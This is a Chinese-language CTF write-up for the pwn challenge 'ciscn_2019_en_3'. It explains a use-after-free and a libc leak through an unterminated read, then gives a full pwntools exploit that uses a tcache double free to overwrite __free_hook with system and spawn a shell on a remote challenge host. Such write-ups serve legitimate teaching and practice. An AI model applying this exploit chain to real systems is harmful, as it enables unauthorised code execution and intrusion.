ciscn_2019_en_3
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
64位,保护全开
我自己改了一下函数名字
unsigned __int64 FOUTION()
{
int v1; // [rsp+Ch] [rbp-44h] BYREF
char s[16]; // [rsp+10h] [rbp-40h] BYREF
char buf[40]; // [rsp+20h] [rbp-30h] BYREF
unsigned __int64 v4; // [rsp+48h] [rbp-8h]
v4 = __readfsqword(0x28u);
puts("Welcome to the story kingdom.");
puts("What's your name?");
read(0, buf, 0x20uLL);
_printf_chk(1LL, buf);
puts("Please input your ID.");
read(0, s, 8uLL);
puts(s);
while ( 1 )
{
MENU();
_isoc99_scanf("%d", &v1);
getchar();
switch ( v1 )
{
case 1:
ADD();
break;
case 2:
PIYONGMEIYOU();
break;
case 3:
PIYONGMEI();
break;
case 4:
DELE();
break;
case 5:
puts("Goodbye~");
exit(0);
default:
puts("Wrong choice!");
return __readfsqword(0x28u) ^ v4;
}
}
}
这题没有edit和show,也就是我们无法用堆的方式泄露libc或者heapbase之类的
add()
unsigned __int64 ADD()
{
int v0; // ebx
int v2; // [rsp+4h] [rbp-1Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-18h]
v3 = __readfsqword(0x28u);
if ( dword_20204C > 16 )
puts("Enough!");
puts("Please input the size of story: ");
_isoc99_scanf("%d", &v2);
*((_DWORD *)&unk_202060 + 4 * dword_20204C) = v2;
v0 = dword_20204C;
*((_QWORD *)&unk_202068 + 2 * v0) = malloc(v2);
puts("please inpute the story: ");
read(0, *((void **)&unk_202068 + 2 * dword_20204C), v2);
++dword_20204C;
puts("Done!");
return __readfsqword(0x28u) ^ v3;
}
堆最多写16个,然后记录size和堆指针
能任意申请大小
free
unsigned __int64 DELE()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Please input the index:");
_isoc99_scanf("%d", &v1);
free(*((void **)&unk_202068 + 2 * v1));
puts("Done!");
return __readfsqword(0x28u) ^ v2;
}
uaf。
本题环境是2.27-3ubuntu1
,自己patchelf一下,因为高了就tcache bin attach
就没那么简单
这里直接无脑tcache double free
然后申请free hook
改system
然后"free"掉/bin/sh
来getshell
然后关键是从哪里泄露libc
这里就是一开始让你输入的那里了
由于read没有设置边界,截断了字符串末尾的\x00
导致put可以泄露一些libc上的东西setbuffer+231
由此我们就可以写exp了
from pwn import*
from Yapack import *
libc=ELF('./libc-2.27.so')
context(os='linux', arch='amd64',log_level='debug')
r,elf=rec("node4.buuoj.cn",25471,"./pwn",10)
menu=b"choice:"
def add(size,con):
sla(menu,b'1')
sla(b"size of story: ",str(size))
sa(b'inpute the story: ',con)
def dele(idx):
sla(menu,b'4')
sla(b"index:",str(idx))
sla(b"?",b"yame")
sla(b"ID.",b"yamemres")
ru(b'yamemres')
leak=get_addr_u64()-libc.sym['setbuffer']-231
li(leak)
free=leak+libc.sym['__free_hook']
sys=leak+libc.sym['system']
add(0x20,b'aaa')#0
add(0x20,b'aaa')#1
dele(0)
dele(1)
dele(0)
add(0x20,p64(free))#0
add(0x20,b'/bin/sh\x00')#1
add(0x20,b'aaa')#0
add(0x20,p64(sys))#free_hook
li(sys)
dele(1)
#debug()
ia()